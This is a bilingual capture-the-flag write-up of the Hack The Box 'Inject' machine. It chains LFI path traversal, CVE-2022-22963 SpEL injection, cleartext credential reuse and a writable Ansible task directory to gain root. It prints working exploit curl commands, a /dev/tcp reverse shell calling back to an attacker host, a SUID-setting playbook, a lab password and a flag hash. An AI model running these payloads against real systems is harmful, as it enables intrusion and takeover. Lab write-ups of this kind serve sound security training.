Inject
Executive summary — Inject is a well-rounded Easy Linux box. A Spring image-upload app exposes an LFI (
/show_image?img=) that lets us read/etc/passwdand the project'spom.xml, uncovering Spring Cloud Function 3.2.2, vulnerable to CVE-2022-22963 (SpEL injection). That gives RCE asfrank; an XML file in their home with cleartext credentials leads tophil. Finally, an automated root task runs Ansible playbooks from a directory writable by thestaffgroup (whichphilbelongs to): we drop a malicious playbook that sets the SUID bit onbashand get root. Path: LFI → SpEL RCE → frank → phil → Ansible → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.228.213 |
Attack map
[8080] Spring app → /upload → /show_image?img=.. → LFI (path traversal)
│ read /etc/passwd (frank, phil) → pom.xml → Spring Cloud Function 3.2.2
▼
[RCE] CVE-2022-22963 (SpEL in header spring.cloud.function.routing-expression)
▼
[SHELL] frank → XML with creds → su phil (user.txt)
│ ps aux → root-run ansible-parallel task in /opt/automation/tasks
│ directory drwxrwxr-x, group staff (phil is a member) → group-writable
▼
[ROOT] malicious playbook (chmod +s /bin/bash) → bash -p → root.txt
1. Reconnaissance
nmap -sVC 10.129.228.213
22/tcp ssh
8080/tcp http
The interesting port is 8080. Opening http://10.129.228.213:8080 in the browser shows an application with two relevant sections:
Blogs
Upload
The /upload section lets us upload a file and then view it back — usually fertile ground for file-handling vulnerabilities.
Resumen ejecutivo — Inject es un Linux Easy muy completo. Una app Spring con subida de imagenes expone un LFI (
/show_image?img=) con el que leemos/etc/passwdy elpom.xmldel proyecto, descubriendo Spring Cloud Function 3.2.2, vulnerable a CVE-2022-22963 (inyeccion SpEL). Eso da RCE comofrank; un XML con credenciales en su home nos lleva aphil. Finalmente, una tarea automatizada de root ejecuta playbooks de Ansible desde un directorio escribible por el grupostaff(al que pertenecephil): soltamos un playbook malicioso que activa el SUID enbashy obtenemos root. Recorrido LFI → SpEL RCE → frank → phil → Ansible → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.228.213 |
Mapa del ataque
[8080] Spring app → /upload → /show_image?img=.. → LFI (path traversal)
│ leer /etc/passwd (frank, phil) → pom.xml → Spring Cloud Function 3.2.2
▼
[RCE] CVE-2022-22963 (SpEL en cabecera spring.cloud.function.routing-expression)
▼
[SHELL] frank → XML con creds → su phil (user.txt)
│ ps aux → cron/servicio root ejecuta ansible-parallel en /opt/automation/tasks
│ directorio drwxrwxr-x, grupo staff (phil es miembro) → escribible
▼
[ROOT] playbook malicioso (chmod +s /bin/bash) → bash -p → root.txt
1. Reconocimiento
nmap -sVC 10.129.228.213
22/tcp ssh
8080/tcp http
El puerto interesante es el 8080. Al abrir http://10.129.228.213:8080 en el navegador vemos una aplicacion con dos secciones relevantes:
Blogs
Upload
La seccion /upload permite subir un fichero y despues visualizarlo, lo cual suele ser terreno fertil para vulnerabilidades de manejo de ficheros.
2. LFI (Local File Inclusion)
We upload any image via /upload and watch how the app loads it back: it uses a path parameter to display it. An LFI (Local File Inclusion) lets us read local files on the server when the app doesn't properly validate that path. We try path traversal against /etc/passwd:
curl 'http://10.129.228.213:8080/show_image?img=../../../../../../etc/passwd'
It works, and the output reveals two local users that aren't part of the base system:
frank
phil
Why it matters: it confirms the box has real users we'll likely need later for lateral movement or privilege escalation.
Using the same LFI, we look for typical Java/Maven project files and find /var/www/WebApp/pom.xml. A pom.xml is Maven's dependency manifest: it tells us exactly which frameworks and versions the app uses.
curl 'http://10.129.228.213:8080/show_image?img=../../../../../var/www/WebApp/pom.xml'
The
pom.xmlreveals the app uses Spring Cloud Function at a version vulnerable to CVE-2022-22963, which allows remote code execution via a malicious HTTP header.
3. Staging the reverse shell and listener
Before exploiting the RCE, we prepare on our Kali box the reverse-shell script the victim will download and run:
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x shell.sh
We serve the file over HTTP (port 80 may need special privileges or be busy, hence 8000) and leave a netcat listener waiting for the connection:
python3 -m http.server 8000
nc -lvnp 4444
4. RCE — CVE-2022-22963 (SpEL)
CVE-2022-22963 affects Spring Cloud Function: the spring.cloud.function.routing-expression header is evaluated as SpEL (Spring Expression Language) without restriction, allowing arbitrary command execution. We send the payload to the /functionRouter endpoint so the victim downloads our reverse shell:
curl -i -s -k -X POST \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/revshell.sh")' \
--data-binary 'exploit_poc' \
'http://10.129.228.213:8080/functionRouter'
On the HTTP server we see a GET /shell.sh request, confirming the victim fetched the file. We repeat the same technique to make it executable and then run it:
curl -X POST http://10.129.228.213:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/revshell.sh")' \
--data-raw 'data' -v
curl -X POST http://10.129.228.213:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/revshell.sh")' \
--data-raw 'data' -v
On the listener we catch the connection and confirm the user:
whoami
frank
The initial shell has no TTY, so we stabilise it with the usual pty.spawn trick:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, then on Kali:
stty raw -echo; fg
# hit Enter a couple times, then:
export TERM=xterm
stty rows 40 columns 120
5. Escalation — from frank to phil
We look for config files in user home directories that might hold credentials:
find /home -name "*.xml" 2>/dev/null
One of the XML files found in frank's home contains phil's password in cleartext:
DocPhillovestoInject123
su phil
whoami
phil
As phil, we read the user flag:
cat ~/user.txt
a0894671c7842a6b2b92c183a4cfedf4
6. Escalating to root — Ansible automation
We look for processes running with root privileges and find an Ansible task in progress:
ps aux | grep ansible
/usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
Why it matters: root periodically runs Ansible playbooks from
/opt/automation/tasks. If that directory is writable by us, any.ymlfile we drop there gets executed with root privileges.
We check the directory's permissions:
ls -la /opt/automation/tasks
drwxrwxr-x 2 root staff 4096 ...
-rw-r--r-- 1 root root 150 playbook_1.yml
The directory belongs to the staff group and is group-writable (drwxrwxr-x). Since phil is a member of staff, we can write inside it. The existing playbook just checks a service:
cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
7. PrivEsc — malicious playbook
We create our own playbook that sets the SUID bit on /bin/bash. With become: true it runs with elevated privileges inside the playbook itself (the Ansible process already runs as root):
cat > playbook_3.yml <<'EOF'
- hosts: localhost
tasks:
- name: Privilege Escalation
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
EOF
We serve it over HTTP from Kali and download it on the victim, inside the tasks directory:
python3 -m http.server 8000
# on the victim, as phil:
cd /opt/automation/tasks
wget http://<ATTACKER_IP>:8000/playbook_3.yml
We wait for Ansible's automated task to pick up the new file (about a minute) and check bash's permissions:
ls -l /bin/bash
# before: -rwxr-xr-x 1 root root ...
# after: -rwsr-sr-x 1 root root ...
The s confirms SUID is set. We get a shell with root's effective privileges and read the final flag:
bash -p
whoami
root
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Info | /show_image?img= | LFI (path traversal) | Read /etc/passwd, pom.xml and system files |
| RCE | Spring Cloud Function 3.2.2 | CVE-2022-22963 (SpEL injection) | Shell as frank |
| Lateral | XML in frank's home | Cleartext credentials | User phil |
| PrivEsc | /opt/automation/tasks (Ansible) | Directory writable by the staff group, run by root | Root |
Lessons learned
- Validate file paths: never let user input form a path without canonicalising it (LFI).
- Update Spring: CVE-2022-22963 is fixed in Spring Cloud Function 3.1.7 / 3.2.3.
- Don't store credentials in cleartext in config files reachable by other users.
- Group permissions in automation: playbook/script directories run by root must never be writable by regular user groups.
2. LFI (Local File Inclusion)
Subimos una imagen cualquiera en /upload y observamos como la aplicacion la carga de vuelta: usa un parametro con la ruta del fichero para mostrarla. Un LFI (Local File Inclusion) permite leer ficheros locales del servidor cuando la aplicacion no valida correctamente esa ruta. Probamos path traversal contra /etc/passwd:
curl 'http://10.129.228.213:8080/show_image?img=../../../../../../etc/passwd'
Funciona, y en el resultado aparecen dos usuarios locales que no son del sistema base:
frank
phil
Por que importa: confirma que la maquina tiene usuarios reales que probablemente usaremos mas adelante para movernos lateralmente o escalar.
Aprovechando el mismo LFI, buscamos ficheros tipicos de un proyecto Java/Maven y encontramos /var/www/WebApp/pom.xml. Un pom.xml es el manifiesto de dependencias de Maven: nos dice exactamente que frameworks y versiones usa la app.
curl 'http://10.129.228.213:8080/show_image?img=../../../../../var/www/WebApp/pom.xml'
El
pom.xmlrevela que la aplicacion usa Spring Cloud Function en una version vulnerable a CVE-2022-22963, que permite ejecucion remota de comandos mediante una cabecera HTTP maliciosa.
3. Preparar la reverse shell y el listener
Antes de explotar el RCE, preparamos en nuestra Kali el script de reverse shell que la victima va a descargar y ejecutar:
cat > shell.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
chmod +x shell.sh
Servimos el fichero por HTTP (el puerto 80 puede requerir permisos especiales o estar ocupado, por eso usamos el 8000) y dejamos un listener de netcat esperando la conexion:
python3 -m http.server 8000
nc -lvnp 4444
4. RCE — CVE-2022-22963 (SpEL)
CVE-2022-22963 afecta a Spring Cloud Function: la cabecera spring.cloud.function.routing-expression se evalua como SpEL (Spring Expression Language) sin restriccion, lo que permite ejecutar comandos arbitrarios. Enviamos el payload contra el endpoint /functionRouter para que la victima descargue nuestra reverse shell:
curl -i -s -k -X POST \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://<ATTACKER_IP>:8000/shell.sh -o /tmp/revshell.sh")' \
--data-binary 'exploit_poc' \
'http://10.129.228.213:8080/functionRouter'
En el servidor HTTP vemos la peticion GET /shell.sh, confirmando que la victima ha descargado el fichero. Repetimos la misma tecnica para darle permisos de ejecucion y despues lanzarla:
curl -X POST http://10.129.228.213:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/revshell.sh")' \
--data-raw 'data' -v
curl -X POST http://10.129.228.213:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/revshell.sh")' \
--data-raw 'data' -v
En el listener recibimos la conexion y confirmamos el usuario:
whoami
frank
La shell inicial no tiene TTY, asi que la estabilizamos con el truco habitual de pty.spawn:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z, y en Kali:
stty raw -echo; fg
# Enter un par de veces, luego:
export TERM=xterm
stty rows 40 columns 120
5. Escalada — de frank a phil
Buscamos ficheros de configuracion en los homes de usuario que puedan contener credenciales:
find /home -name "*.xml" 2>/dev/null
Uno de los XML encontrados en el home de frank contiene la contrasena de phil en texto plano:
DocPhillovestoInject123
su phil
whoami
phil
Con acceso como phil, leemos la flag de usuario:
cat ~/user.txt
a0894671c7842a6b2b92c183a4cfedf4
6. Escalada a root — automatizacion de Ansible
Buscamos procesos que se ejecuten con privilegios de root y encontramos una tarea de Ansible en marcha:
ps aux | grep ansible
/usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
Por que importa: root ejecuta periodicamente playbooks de Ansible desde
/opt/automation/tasks. Si ese directorio es escribible para nosotros, cualquier fichero.ymlque dejemos ahi se ejecutara con privilegios de root.
Comprobamos los permisos del directorio:
ls -la /opt/automation/tasks
drwxrwxr-x 2 root staff 4096 ...
-rw-r--r-- 1 root root 150 playbook_1.yml
El directorio pertenece al grupo staff y tiene permiso de escritura para ese grupo (drwxrwxr-x). Como phil pertenece a staff, puede escribir dentro. El playbook existente solo comprueba un servicio:
cat /opt/automation/tasks/playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
7. PrivEsc — playbook malicioso
Creamos un playbook propio que active el bit SUID sobre /bin/bash. Con become: true se ejecuta con privilegios elevados dentro del propio playbook (el proceso Ansible ya corre como root):
cat > playbook_3.yml <<'EOF'
- hosts: localhost
tasks:
- name: Privilege Escalation
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
EOF
Lo servimos por HTTP desde Kali y lo descargamos en la victima, dentro del directorio de tareas:
python3 -m http.server 8000
# en la victima, como phil:
cd /opt/automation/tasks
wget http://<ATTACKER_IP>:8000/playbook_3.yml
Esperamos a que la tarea automatica de Ansible recoja el nuevo fichero (alrededor de un minuto) y comprobamos los permisos de bash:
ls -l /bin/bash
# antes: -rwxr-xr-x 1 root root ...
# despues: -rwsr-sr-x 1 root root ...
La s confirma el SUID activo. Obtenemos una shell con privilegios efectivos de root y leemos la flag final:
bash -p
whoami
root
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Info | /show_image?img= | LFI (path traversal) | Leer /etc/passwd, pom.xml y ficheros del sistema |
| RCE | Spring Cloud Function 3.2.2 | CVE-2022-22963 (inyeccion SpEL) | Shell como frank |
| Lateral | XML en home de frank | Credenciales en texto plano | Usuario phil |
| PrivEsc | /opt/automation/tasks (Ansible) | Directorio escribible por el grupo staff, ejecutado por root | Root |
Lecciones aprendidas
- Valida rutas de fichero: nunca dejes que la entrada del usuario forme una ruta sin canonicalizar (LFI).
- Actualiza Spring: CVE-2022-22963 se corrige en Spring Cloud Function 3.1.7 / 3.2.3.
- No guardes credenciales en texto plano en ficheros de configuracion accesibles por otros usuarios.
- Permisos de grupo en automatizacion: los directorios de playbooks/scripts que ejecuta root nunca deben ser escribibles por grupos de usuarios normales.